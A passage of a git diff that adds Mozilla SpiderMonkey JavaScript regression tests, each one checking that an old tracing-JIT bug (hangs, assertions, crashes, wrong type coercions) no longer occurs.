+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464978;
+var summary = 'Do not hang with [] + null';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let j = 0; j < 2; ++j) { [] + null; }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465220.js b/js/src/tests/js1_8/regress/regress-465220.js
new file mode 100644
index 000000000..ca4154fe6
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465220.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465220;
+var summary = 'Do not assert: anti-nesting';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: can\'t convert o to primitive type';
+
+
+ try
+ {
+ var o = {toString: function()(i > 2) ? this : "foo"};
+ var s = "";
+ for (var i = 0; i < 5; i++)
+ s += o + o;
+ print(s);
+ actual = 'No Exception';
+ }
+ catch(ex)
+ {
+ actual = 'TypeError: can\'t convert o to primitive type';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465234.js b/js/src/tests/js1_8/regress/regress-465234.js
new file mode 100644
index 000000000..2cf8f3781
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465234.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465234;
+var summary = '"" <= null';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = true;
+ actual = true;
+
+
+ for (let j = 0; j < 5; ++j) actual = actual && ("" <= null);
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465239.js b/js/src/tests/js1_8/regress/regress-465239.js
new file mode 100644
index 000000000..8a012d691
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465239.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465239;
+var summary = '"1e+81" ^ 3';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '3,3,3,3,3,';
+ actual = '';
+
+
+ for (let j = 0; j < 5; ++j) actual += ("1e+81" ^ 3) + ',';
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465241.js b/js/src/tests/js1_8/regress/regress-465241.js
new file mode 100644
index 000000000..e756c8739
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465241.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465241;
+var summary = '"0" in [3]';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = true;
+ actual = true;
+
+
+ for (let j = 0; j < 5; ++j) actual = actual && ("0" in [3]);
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465249.js b/js/src/tests/js1_8/regress/regress-465249.js
new file mode 100644
index 000000000..f3c61fd07
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465249.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465249;
+var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ eval("for (let j = 0; j < 5; ++j) { (0x50505050) + (0x50505050); }");
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465261.js b/js/src/tests/js1_8/regress/regress-465261.js
new file mode 100644
index 000000000..b9aac8bde
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465261.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465261;
+var summary = 'TM: Do not assert: ';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let z = 0; z < 2; ++z) {
+ for each (let x in [0, true, (void 0), 0, (void 0)]) {
+ if(x){}
+ }
+ };
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465308.js b/js/src/tests/js1_8/regress/regress-465308.js
new file mode 100644
index 000000000..7346532cb
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465308.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465308;
+var summary = '((0x60000009) * 0x60000009))';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '-1073741824,-1073741824,-1073741824,-1073741824,-1073741824,';
+
+ for (let j=0;j<5;++j)
+ print(actual += "" + (0 | ((0x60000009) * 0x60000009)) + ',');
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465454.js b/js/src/tests/js1_8/regress/regress-465454.js
new file mode 100644
index 000000000..648639753
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465454.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465454;
+var summary = 'TM: do not crash with type-unstable loop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for each (let b in [(-1/0), new String(''), new String(''), null, (-1/0),
+ (-1/0), new String(''), new String(''), null]) '' + b;
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465460-01.js b/js/src/tests/js1_8/regress/regress-465460-01.js
new file mode 100644
index 000000000..2a21de495
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465460-01.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '11111';
+
+
+ (function(d) { for (let j = 0; j < 5; ++j) { actual += ('' + d); } })({valueOf: function()1});
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465460-02.js b/js/src/tests/js1_8/regress/regress-465460-02.js
new file mode 100644
index 000000000..9ba0431a7
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465460-02.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for each (let c in [null, null, null, {}]) { }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465460-03.js b/js/src/tests/js1_8/regress/regress-465460-03.js
new file mode 100644
index 000000000..a2e69b9ec
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465460-03.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for each (let j in [null, 2, 3]) { }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465460-04.js b/js/src/tests/js1_8/regress/regress-465460-04.js
new file mode 100644
index 000000000..d470e8ac4
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465460-04.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 3; ++j) { 1 & new Date; }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465460-05.js b/js/src/tests/js1_8/regress/regress-465460-05.js
new file mode 100644
index 000000000..a8f06e3f8
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465460-05.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 3; ++j) { 1 & Date; }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465460-06.js b/js/src/tests/js1_8/regress/regress-465460-06.js
new file mode 100644
index 000000000..ed0b80e18
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465460-06.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for each (let x in [1, {}, 1, null, 1, {}, 1, null, 1]) { }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465460-07.js b/js/src/tests/js1_8/regress/regress-465460-07.js
new file mode 100644
index 000000000..46a4005a6
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465460-07.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'pass';
+
+ try
+ {
+ e = {}; for (j=0;j<3;++j) { 3 | e; } "PASS";
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465460-08.js b/js/src/tests/js1_8/regress/regress-465460-08.js
new file mode 100644
index 000000000..0fded4b00
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465460-08.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for each (let _ in [{}, {}, null, null, null, null]) { }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465460-09.js b/js/src/tests/js1_8/regress/regress-465460-09.js
new file mode 100644
index 000000000..6ccc5e8c7
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465460-09.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let i in (function() { for (var j = 0; j < 3; ++j) yield; })()) { }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465460-10.js b/js/src/tests/js1_8/regress/regress-465460-10.js
new file mode 100644
index 000000000..0b3a49bcd
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465460-10.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let i = 0; i < 2; ++i) { ({}) + 3; }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465460-11.js b/js/src/tests/js1_8/regress/regress-465460-11.js
new file mode 100644
index 000000000..656188beb
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465460-11.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let d=0;d<2;++d) for (let a=0;a<1;++a) "" + (d && function(){});
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465460-12.js b/js/src/tests/js1_8/regress/regress-465460-12.js
new file mode 100644
index 000000000..2e0be80e8
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465460-12.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 2; ++j) { if (null > "") { } }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465483.js b/js/src/tests/js1_8/regress/regress-465483.js
new file mode 100644
index 000000000..39378a510
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465483.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465483;
+var summary = 'Type instability leads to undefined being added as a string instead of as a number';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'NaN';
+
+ for each (i in [4, 'a', 'b', (void 0)]) print(actual = '' + (i + i));
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-465567-01.js b/js/src/tests/js1_8/regress/regress-465567-01.js
new file mode 100644
index 000000000..862c2abe4
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465567-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465567;
+var summary = 'TM: Weirdness with var, let, multiple assignments';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = '99999';
+
+
+for (let j = 0; j < 5; ++j) {
+ var e;
+ e = 9;
+ print(actual += '' + e);
+ e = 47;
+ if (e & 0) {
+ let e;
+ }
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/regress/regress-465567-02.js b/js/src/tests/js1_8/regress/regress-465567-02.js
new file mode 100644
index 000000000..a1ba74db5
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465567-02.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465567;
+var summary = 'TM: Do not assert: JSVAL_TAG(v) == JSVAL_OBJECT';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+try
+{
+ eval("for each (e in ['', true, 1, true, 1]) { e = null; if (0) { let e; var e; } }");
+}
+catch(ex)
+{
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/regress/regress-465688.js b/js/src/tests/js1_8/regress/regress-465688.js
new file mode 100644
index 000000000..9df47f983
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-465688.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465688;
+var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp),';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for each (let d in [-0x80000000, -0x80000000]) - -d;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-466128.js b/js/src/tests/js1_8/regress/regress-466128.js
new file mode 100644
index 000000000..a17097141
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-466128.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466128;
+var summary = 'Do not assert: !ti->stackTypeMap.matches(ti_other->stackTypeMap)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let a = 0; a < 3; ++a) {
+ for each (let b in [1, 2, "three", 4, 5, 6, 7, 8]) {
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-466787.js b/js/src/tests/js1_8/regress/regress-466787.js
new file mode 100644
index 000000000..f5bbb67ec
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-466787.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466787;
+var summary = 'TM: new Number() should stay a number during recording';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '4444';
+
+
+ for (let j = 0; j < 4; ++j) { for each (let one in [new Number(1)]) {
+ print(actual += '' + (3 + one)); } }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-467495-01.js b/js/src/tests/js1_8/regress/regress-467495-01.js
new file mode 100644
index 000000000..2f6014c28
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-467495-01.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'Do not crash @ js_Interpret';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { x = 0; function x() 4; var x; const y = 1; })();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-467495-02.js b/js/src/tests/js1_8/regress/regress-467495-02.js
new file mode 100644
index 000000000..0496d5441
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-467495-02.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'Do not crash @ js_Interpret';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval("(function(){const y = 1; function x() '' let functional, x})();");
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-467495-03.js b/js/src/tests/js1_8/regress/regress-467495-03.js
new file mode 100644
index 000000000..2d4560c0f
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-467495-03.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary';
+var actual = '';
